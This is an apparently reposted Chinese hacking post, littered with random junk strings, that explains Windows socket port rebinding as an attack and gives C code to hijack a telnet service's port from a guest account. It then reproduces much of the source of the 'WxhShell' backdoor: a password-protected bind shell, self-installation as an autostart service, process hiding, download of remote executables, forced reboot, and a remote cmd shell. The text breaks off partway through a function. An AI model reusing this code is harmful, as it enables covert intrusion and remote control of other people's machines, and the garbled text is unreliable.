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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: be e5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [xh*"wT#g >HPdzLY? saddr.sin_family = AF_INET; DAg58
=qJ RNPbH. saddr.sin_addr.s_addr = htonl(INADDR_ANY); N$xtHtz8" 7 ~ztwL bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +fx8muz:y }Z
TGi,Pc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fkf97Oi BYY RoE[P 这意味着什么?意味着可以进行如下的攻击: :L_BG)dM aF|d^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `z0{S! XE3'`D! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^FZ^6* w'X]M#Q>< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JbO ~n
)%x ]#/4Y_d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }tPk@$ m^_6:Q0F!8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '!P"xBVAu YUQtMf9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mR8W]'gl.L z4@k$
L8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9'x)M?{8 {k5X*W #include f'q 28lVf #include [+w3J#K #include CSV;+,Vv #include +,50qN:%[ DWORD WINAPI ClientThread(LPVOID lpParam); {B*W\[ns int main() 0F#>CmD { 4f~["[*ea WORD wVersionRequested; ES<{4<Kpx DWORD ret; W>M~Sk$v WSADATA wsaData; VD4C::J BOOL val; 7ZUiY SOCKADDR_IN saddr; y<XlRTy[} SOCKADDR_IN scaddr; +%N
KQ'49I int err; =e><z9hY SOCKET s; O[9-:,B{w SOCKET sc; }j1!j&& int caddsize; IMnP[WA! HANDLE mt; M[~{Vd DWORD tid; _ nP;Fx wVersionRequested = MAKEWORD( 2, 2 ); #'OaKt?Z) err = WSAStartup( wVersionRequested, &wsaData ); xt4)Ya if ( err != 0 ) { fag^7r z printf("error!WSAStartup failed!\n"); w62=06`@ return -1; Q,Z*8FH= } `(0LK%w saddr.sin_family = AF_INET; bXYA5wG h{lDxOH* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 44\>gI< 7@a 0$coP saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `>D9P_Y"jI saddr.sin_port = htons(23); ni if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aFY_:.o2k` { O3n_N6| q printf("error!socket failed!\n"); (#q<\` return -1; 4R>zPEo } o2-@o= F val = TRUE; ;r=b|B9c //SO_REUSEADDR选项就是可以实现端口重绑定的 b'ml=a#i0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5j"1z1_& { SbsouGD,{ printf("error!setsockopt failed!\n"); 'mdM q=VI return -1; oKFT?"[X } JO@Bf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O`cu_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TO;.eN!sv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g^kx(p<u` ? 81X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,pq{& A { R*1kR|*_) ret=GetLastError(); *jzLFuWIG printf("error!bind failed!\n"); "`A :(<x return -1; !c<w SQ, } =He.fEy listen(s,2); pz_e =xr while(1) BzpP7 ZWV { :^C'<SY2Gs caddsize = sizeof(scaddr); SC#sax4N!= //接受连接请求 oJ*1>7[ J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *! :QdWLq if(sc!=INVALID_SOCKET) -%IcYzyA { OySy6IN]q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _-cK{ if(mt==NULL) ,7|;k2 { <
/p8r printf("Thread Creat Failed!\n"); Mo|wME#M break; d]0a%Xh[ } W( *V2<$o } j<tq1?? [b CloseHandle(mt); qH%")7> } !- ~X?s~L closesocket(s); \tJFAc WSACleanup(); 7z~Ghz return 0; 9x~-*8aw } S+x_c4 T DWORD WINAPI ClientThread(LPVOID lpParam) <o:@dS { [JTto!Ih$ SOCKET ss = (SOCKET)lpParam; N4^5rrkL SOCKET sc; 0vs0*;F; unsigned char buf[4096]; (7$$; SOCKADDR_IN saddr; O>DNC-m)i{ long num; =~FG&rk^ DWORD val; g?/XZ5$a5 DWORD ret; ){Mu~P //如果是隐藏端口应用的话,可以在此处加一些判断 SKXBrD=- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 _JGs}aQ saddr.sin_family = AF_INET; j kn^Z": saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {^q)^<#JT saddr.sin_port = htons(23); ?~ULIO' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9$d.P6|d> { ~waNPjPRG printf("error!socket failed!\n"); M<8ML!N0;t return -1; )JgC$ < } N=,j}FY val = 100; es.CLkuD7Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LhJ a)jFQ { 1]4^V7y ret = GetLastError(); |ek
ak{js return -1; k1N$+h
;\ } B0mLI%B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gb-{2p>} { AO0!liQ ret = GetLastError(); -rY 7)= return -1; s_wUM)! } M^SuV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2M6dMvS { ~I_owCVZ printf("error!socket connect failed!\n"); 9q4_j closesocket(sc); zjM/M closesocket(ss); P{oAObP% return -1; !Rw&DFU } E'dX)J9e$/ while(1) 6* rcR] { )&1!xF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 delf
] //如果是嗅探内容的话,可以再此处进行内容分析和记录 r4knN
2: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VQ
|^
num = recv(ss,buf,4096,0); p!"(s/= if(num>0) Q</h-skLZ send(sc,buf,num,0); E8[XG2ye else if(num==0) +g\;bLT break; juno.$
6 num = recv(sc,buf,4096,0); Z[IM<S9lz if(num>0) `^8*<+ send(ss,buf,num,0); Rl@$xP else if(num==0) -zC]^Ho@ break; hLuJWjCV } yFeeG3n3 closesocket(ss); !=zx closesocket(sc); E 5kF^P return 0 ; P W[6/7 } ju{%'D!d9 RV!<?[
-0|K,k ========================================================== W);W.:F xh'^c^1 下边附上一个代码,,WXhSHELL #( uj$[o ePA;:8)_j ========================================================== G(OFr2M z\Ui8jo:; #include "stdafx.h" Ml`vx %8D?$v"#Z #include <stdio.h> T\3 [F%? #include <string.h> sc xLB; #include <windows.h> ?y_awoBd1 #include <winsock2.h> 6"%qv`.Fp #include <winsvc.h> w~-X>~ } #include <urlmon.h> B7 c[4 .Ty,_3+{#p #pragma comment (lib, "Ws2_32.lib") Vipp /WV #pragma comment (lib, "urlmon.lib") ~%P3Pp e[4V%h #define MAX_USER 100 // 最大客户端连接数 j.&
;c'V$. #define BUF_SOCK 200 // sock buffer >h7$v~nra #define KEY_BUFF 255 // 输入 buffer
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nLd~2qBuv #define REBOOT 0 // 重启 &z ksRX #define SHUTDOWN 1 // 关机 NV~vuC Zz")`hUG #define DEF_PORT 5000 // 监听端口 tp+=0k2i <IH*\q:7 #define REG_LEN 16 // 注册表键长度 22vq=RO7Z #define SVC_LEN 80 // NT服务名长度 a|.20w5 [$:@X V( // 从dll定义API Q7k.+2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QNJ\!+,HV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tR O IBq| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CKC0{J8g
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4<Kgmy F@<MT<TRf // wxhshell配置信息 X%`KYo% struct WSCFG { Xu%d,T$G int ws_port; // 监听端口 Sh$U-ch@ char ws_passstr[REG_LEN]; // 口令 #~e9h9 int ws_autoins; // 安装标记, 1=yes 0=no ,i![QXZ char ws_regname[REG_LEN]; // 注册表键名 ?#ihJt, char ws_svcname[REG_LEN]; // 服务名 Q?]w{f( char ws_svcdisp[SVC_LEN]; // 服务显示名 ^srs$
w] char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mdm0g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >)sqh ~P int ws_downexe; // 下载执行标记, 1=yes 0=no |8'B/
p= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" s!`H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T9y768% uN(b.5y }; L]>4Nd xN"wF-s4? // default Wxhshell configuration {Y"8~ struct WSCFG wscfg={DEF_PORT, v>:=w|.HC "xuhuanlingzhe", tQf!|]#J 1, j@SYXKL~ "Wxhshell", T^NJ4L4# "Wxhshell", @#CF".fuN> "WxhShell Service", bqNLkw# "Wrsky Windows CmdShell Service", %O_t`wz "Please Input Your Password: ", &%:*\_2s 1, _/Tlqzp " http://www.wrsky.com/wxhshell.exe", 25&nwz "Wxhshell.exe" -$m@*L }; /.)2d8, )-)pYRlO // 消息定义模块 ,5:![ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' 3VqkQ4 char *msg_ws_prompt="\n\r? for help\n\r#>"; PC0HH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O(Td:Zdp char *msg_ws_ext="\n\rExit."; '2xcce# char *msg_ws_end="\n\rQuit."; wzbz}P> char *msg_ws_boot="\n\rReboot..."; _f66>a< char *msg_ws_poff="\n\rShutdown..."; a+'}XEhSC: char *msg_ws_down="\n\rSave to "; R(GmU4 O&= KlnI: char *msg_ws_err="\n\rErr!"; } bCK char *msg_ws_ok="\n\rOK!"; uDI}R]8~ .xo_}Vw char ExeFile[MAX_PATH]; 59~FpjJ int nUser = 0; r
hZQQOQ HANDLE handles[MAX_USER]; gE1|lY$NL int OsIsNt; e
SK((T n5 >B LtY SERVICE_STATUS serviceStatus; 9PCa*, SERVICE_STATUS_HANDLE hServiceStatusHandle; Ri[S<GOMii
"Ac~2<V // 函数声明 <oZ(n g@X int Install(void); A$N+9n\ int Uninstall(void); oL)lyUVT int DownloadFile(char *sURL, SOCKET wsh); )*Vj3Jx int Boot(int flag); Tfr`?:yF void HideProc(void); \d ui`F"Cc int GetOsVer(void); unJiE! int Wxhshell(SOCKET wsl); |[DV\23{G void TalkWithClient(void *cs); IQ=CNby: int CmdShell(SOCKET sock); pqOA/^ar int StartFromService(void); nrF!;:x int StartWxhshell(LPSTR lpCmdLine); D| [/>x rI *!"PL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5'62ulwMP= VOID WINAPI NTServiceHandler( DWORD fdwControl ); +R9%~Z.= Vv2{^!aZ // 数据结构和表定义 Fdr*xHx$P SERVICE_TABLE_ENTRY DispatchTable[] = 2*Va9HP!q { f@h2;An$w {wscfg.ws_svcname, NTServiceMain}, ['?^>jfr {NULL, NULL} 48:liR }; xSdN5RN K_Z+]]$# // 自我安装 ,T/GW,? int Install(void) T<XfZZ)l<` { 8F\~Wz 7K char svExeFile[MAX_PATH]; m'3OGvd HKEY key; [#7D~Lx/ strcpy(svExeFile,ExeFile); F68},N>vr@ ruzMag) // 如果是win9x系统,修改注册表设为自启动 "-28[a3q if(!OsIsNt) { T\)dt?Tv#\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5"$e=y/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~37R0`C RegCloseKey(key); 48H5_9>: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kHGeCJe\{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O(WEgz RegCloseKey(key); mn(/E/ return 0; FLK"|*A } ?ISI[hoc } "k/;`eAP } =!(S<]; else { W;q#ZD(; %N7gT*B: // 如果是NT以上系统,安装为系统服务 eSJAPU(D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]"C| qR* if (schSCManager!=0) YGfA qI
y { gHp'3SnS SC_HANDLE schService = CreateService }!eF
( \moZ6J schSCManager, !p-'t] wscfg.ws_svcname, 2;3x,<Cg wscfg.ws_svcdisp, M\9at\$ SERVICE_ALL_ACCESS, l#tS.+B7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?OdV1xB SERVICE_AUTO_START, UB5}i('L SERVICE_ERROR_NORMAL, +GRxHuW, svExeFile, K3a>^g NULL, L-`(!j NULL, *Ro8W-+ NULL, qw9e)
`3$ NULL, ( P NULL v!nm
&" ); 6{cybD`Ef& if (schService!=0) Bjurmo { jQY>9+t CloseServiceHandle(schService); -[G/2F' CloseServiceHandle(schSCManager); q2[+-B)m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BT&rp%NO6l strcat(svExeFile,wscfg.ws_svcname); Up_>y>x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p
Z0= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z'voCWCd RegCloseKey(key); 5Xp$yX = return 0; Ti0
(VdY } eUX@9eML } C}x4#bNK CloseServiceHandle(schSCManager); .a
~s_E } 0*37D5jH } 3FGb Q_ hdo+Qezu: return 1; }".\
4B$n } -fb1cv~N /E=h{| // 自我卸载 +J\L4ri k
int Uninstall(void) }T?i%l { e-nWD HKEY key; ##SLwrg $xKg }cO if(!OsIsNt) { i n[n Aa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9itdRa== RegDeleteValue(key,wscfg.ws_regname); dL1~]Z
y
RegCloseKey(key); _Ym&UY.u# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *O"%tp6 RegDeleteValue(key,wscfg.ws_regname); ^G]KE8 RegCloseKey(key); M>`?m
L return 0; DR.3
J`?K } nEjo, } Z\ "Kd } 3MS3O.0]/ else { { Hktu| a7QlU=\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eyI-s9#t if (schSCManager!=0) -~QlHp&SY { f 3nnXE" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F?yh23&_4 if (schService!=0) e["Z!D_H { GE/IaLo if(DeleteService(schService)!=0) { @c.11nfn` CloseServiceHandle(schService); $bF`PGR_ CloseServiceHandle(schSCManager); ~$ cm9> return 0; 5#9`ROT9 } o+)m}'T8 CloseServiceHandle(schService); X=S}WKu } )?=
kb CloseServiceHandle(schSCManager); ZwY`x') } mSVX4XW< } `<]P"G DzX6U[= return 1; v.~Nv@+kR }
jgZX~D D@/9+]-, // 从指定url下载文件 E
6>1Fm8%V int DownloadFile(char *sURL, SOCKET wsh) -y7l?N5F> { Z7K!"I HRESULT hr; ^*$WZMMJ1 char seps[]= "/"; NKIk d char *token; 'ugR!o1 char *file; BP7<^`i& char myURL[MAX_PATH]; yKX:Z4I/ char myFILE[MAX_PATH]; vZ1D3ytfG $S"zxEJJ Y strcpy(myURL,sURL); HnH2u; token=strtok(myURL,seps); BMtYM{S6 while(token!=NULL) Q rrZF. { >o=axZNa file=token; (_s!,QUe token=strtok(NULL,seps); D9@<#2- } ~@a) E+LsF W2X+NacD GetCurrentDirectory(MAX_PATH,myFILE); juve9HaW strcat(myFILE, "\\"); Aw_R
$ strcat(myFILE, file); AR[M8RA send(wsh,myFILE,strlen(myFILE),0);
YV2pERl send(wsh,"...",3,0); l:k E^ =6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *`\4j*$^ if(hr==S_OK) 0*]<RM return 0; <9MQ else n]6w)wE( return 1;
2_ZHJ,r f6/\JVi)- } s525`Q; ;1(qGy4 // 系统电源模块 52q!zx E int Boot(int flag) 2yVGEp^ { XH_qA[=c] HANDLE hToken; lN]X2 4t TOKEN_PRIVILEGES tkp; +wPvQKVfI +@<^i?ale if(OsIsNt) { 37za^n?SG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \sXmMc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u+, jAkr tkp.PrivilegeCount = 1; O7L6Htya tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XQJV.SVS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }gi`?58J6 if(flag==REBOOT) { @Z1?t%1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m-pIFL<^N return 0; I{X@<o} } \C'I l
w else { 16d{IGMz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JqH.QnKcv return 0; u0$5Fd&X } Hf E;$ } ;Vtpq3 else { [;kj,j if(flag==REBOOT) { R.n`R|NOd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5Dh&ez`oR' return 0; $(<*pU } -^SD6l$ else { s$=B~l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fjeE. return 0; E rRMiT } a}I z } WY ^K7U BfO}4 return 1; :Q%yW%St$ } )="g?E3 9DocId. // win9x进程隐藏模块 h?O%XnD void HideProc(void) }e;p8)]Wl { nh_xbo5L[ 9ixnf=$Jp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G#=b6DB if ( hKernel != NULL ) S3[oA& { L:]; [xa% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hF?\K^tF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q0oDl8~ FreeLibrary(hKernel); ZBh@%A } 'XjHB!!hU l>Oe ,`9O return; PeR<FSF ,i } }Q,C;!'" ^<H#dkECG // 获取操作系统版本 <MDFfnj int GetOsVer(void) c9 TkIe { >5YYij5Aj OSVERSIONINFO winfo; s!zr>N" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1,sO =p)Yg GetVersionEx(&winfo); m0K2 p~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uc
`rt" return 1; ieK'<%dxF else ]&%X(jWyn return 0; pz z`4VS: } SZ1pf#w! _[6+FdS], // 客户端句柄模块 FV<^q|K/(] int Wxhshell(SOCKET wsl) l[OQo|_ { )I1V2k$n SOCKET wsh; i2 Iu2 struct sockaddr_in client; sZ(Q4)r
DWORD myID; <
oG\)!O 3jQ$72_ while(nUser<MAX_USER) @C6DOB { ?%TM7Z4 int nSize=sizeof(client); [@71 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OjL"0imN6 if(wsh==INVALID_SOCKET) return 1; _O'rZ5}& CpJXLc3_d5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ny;)+v?mN\ if(handles[nUser]==0) doUqUak closesocket(wsh); y#SD-#I- else Op)R3qt{ nUser++; o3`gx } 5L'@WB|{4u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (:hmp"S KLM^O$= return 0; I2!&=" 7@ } U8 @*I>vA tw^.(m5d // 关闭 socket A-NC,3 void CloseIt(SOCKET wsh) )e$-B]>7z { ~<Qxw>S# closesocket(wsh); EwJn1Mvq nUser--; qQ\hUii ExitThread(0); }z%/6`7)| } TEy.zzt hQrsZv:Q
// 客户端请求句柄 ]0nC;|]@Lx void TalkWithClient(void *cs) H5rNLfw
' { +R jD\6bJb h3ZL0Fi* SOCKET wsh=(SOCKET)cs; G?X,Y\Lp char pwd[SVC_LEN]; [}Yci:P_ + char cmd[KEY_BUFF]; j;c^pLUP char chr[1]; `Y9}5p int i,j; Y@xeyMzE )qQg n] while (nUser < MAX_USER) { I;PO$T d3hTz@JY if(wscfg.ws_passstr) { BwA~*5TFu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <i@jD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LWR&(p.% //ZeroMemory(pwd,KEY_BUFF); -|UX}t* i=0; }E]&13>r while(i<SVC_LEN) { s%re>)=| T_
#oMXZ/ // 设置超时 ."g5+ xX fd_set FdRead; fae yk]u struct timeval TimeOut; iV$75Atk FD_ZERO(&FdRead); Cl){sP=8W FD_SET(wsh,&FdRead); |L#r)$n{1 TimeOut.tv_sec=8; ?DTP-#5Ba TimeOut.tv_usec=0; `9NnL.w! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [_B&7#3>7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]fmf X Nv#, s_hG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x"=q+sA pwd =chr[0]; ~ZIRCTQ" if(chr[0]==0xd || chr[0]==0xa) { P_Ja?)GT pwd=0; }Bg<Fm break; n ]g,)m } YZ+g<HXB i++; $CV'p/^En } V&nJT~k HBYpjxh // 如果是非法用户,关闭 socket Oc3%pb; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FK('E3PG } tAn6pGp AMiFsgBj send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %HS!^j3C% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _\6(4a`, M?CMN.Dw while(1) { pIjVJ9+j meWq9:z ZeroMemory(cmd,KEY_BUFF); dQ"W~ig ?Gu>!7 // 自动支持客户端 telnet标准
=)>q.R9 j=0; 3`!KndY1 while(j<KEY_BUFF) { fN>|X\- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C\h<02 cmd[j]=chr[0]; DN_C7\CoA if(chr[0]==0xa || chr[0]==0xd) { SuuS!U+i> cmd[j]=0; RlL,eU$CS break; .DsYR/ } ^aMdbB j++; ~n\ea:. } -L3RzX ^@> Qiy // 下载文件 XOFaS '. if(strstr(cmd,"http://")) { H2KY$;X[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2$UR"P if(DownloadFile(cmd,wsh)) q{(&:~M send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Z)^c& else B)NB6dCp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (ytkq( } I(S6DkU else { N#ObxOE6T" \mGM#E switch(cmd[0]) { 2geC3v% 0o DgP%Q // 帮助 vGDo?X~#o case '?': { 9^olAfX`dB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oa7Hx<Y break; MPc=cLv } uwzT? C A6 // 安装 K>6p5*& case 'i': { SW,Po>Y if(Install()) g>CQO,s;w send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*uG`Eo& else hgltD8, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Puh&F< B break; ?Ea"%z*c5 } u{z{3fW_ // 卸载 #+\G-
=- case 'r': { /ep~/#Ia if(Uninstall()) ?8/h3xV; send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\[G7 else ,oil}N( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /L^dHI]Q break; }5Uf`pM8 } xx8na8 // 显示 wxhshell 所在路径 V|`|CVFo] case 'p': { YJ$
=`lIM char svExeFile[MAX_PATH]; kRPg^Fw"Vw strcpy(svExeFile,"\n\r"); >AJ|F) strcat(svExeFile,ExeFile); [l:.Q?? )| send(wsh,svExeFile,strlen(svExeFile),0); Mr(3]EfgO break; eW%jDsC } RdHR[Usm // 重启 xcA:Q`c.{ case 'b': { D$;/
l}s? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O/nS,Ux if(Boot(REBOOT)) !NjE5USi send(wsh,msg_ws_err,strlen(msg_ws_err),0); m6D4J=59 else { x
,W+:l9~s closesocket(wsh); sn%fE ExitThread(0); kF .b) } dPId=
w) break; |zKcL3* } 5$X{{j2 // 关机 %#~Wk|8} Q case 'd': { 7&1: ]{_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EK_^#b if(Boot(SHUTDOWN)) (WvA9s{/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); aT #|mk=\ else { 0M?}S~p] closesocket(wsh); ><~hOK?v ExitThread(0); I5]zOKlVR } w0iEx1i break; \\JXY*DA:+ } T~>:8i // 获取shell {'%=tJ[YX case 's': { *VB*/^6A CmdShell(wsh); ix;8S=eP~{ closesocket(wsh); ^(R
gSMuT` ExitThread(0); |Oe6OCPf break; Wt=[R 4= } g:yK/1@Hk} // 退出 9 pn1d. case 'x': { It[ ~0?+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FBsw\P5w CloseIt(wsh); `u-Y 5mY break; hkG<I';M?M } 0ZN/-2c A# // 离开 mf#oa~_ case 'q': { WyP1"e^9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); wlJ1,)n^2 closesocket(wsh); #A!0KN;GC2 WSACleanup(); cf9y0 exit(1); {;U:0BPI3 break; 3B+Rx;>h } iKwVYL } .PgkHb=l@ } *6L^A`_1] uY,FugWbl // 提示信息 ln5On_Wm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &BkNkb 0 } ~gN'";1i } ]CjODa e]QkZg2?Yn return; #~b9H05D } -84Z8?_ aO1cd_d6x_ // shell模块句柄 gE1" .qC int CmdShell(SOCKET sock) ryN-d%t? { |dK-r STARTUPINFO si; /+u*9ZR&1 ZeroMemory(&si,sizeof(si)); )8;'fE[p} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bHCd|4e,2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vq\6c PROCESS_INFORMATION ProcessInfo; tyh%s" char cmdline[]="cmd"; pyKMi /)bL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N@g+51ye return 0; '5%DKz } i!NGX :.<&Y=^ // 自身启动模式 L@wnzt int StartFromService(void) LBg#KQ@ { )lbF'.i typedef struct pmC@ fB { vd~O:=)4 DWORD ExitStatus; x{m)I<.: DWORD PebBaseAddress; -}%zus5 DWORD AffinityMask; Po5}Vh DWORD BasePriority; j[9B,C4 ULONG UniqueProcessId; wP%;9y2B ULONG InheritedFromUniqueProcessId; <:?&}'aA } PROCESS_BASIC_INFORMATION; X*T9`]l6 &("?6%GC PROCNTQSIP NtQueryInformationProcess; f: Rh9 *M{1RMc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hRP0Djc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,#crtX A)xI.Q6 HANDLE hProcess; .+y#7-#6 PROCESS_BASIC_INFORMATION pbi; *)`:Nm~y qcK)J/K" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^/c|s!U^ if(NULL == hInst ) return 0; z#y<QH HBt?cA ' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "783F:mPh 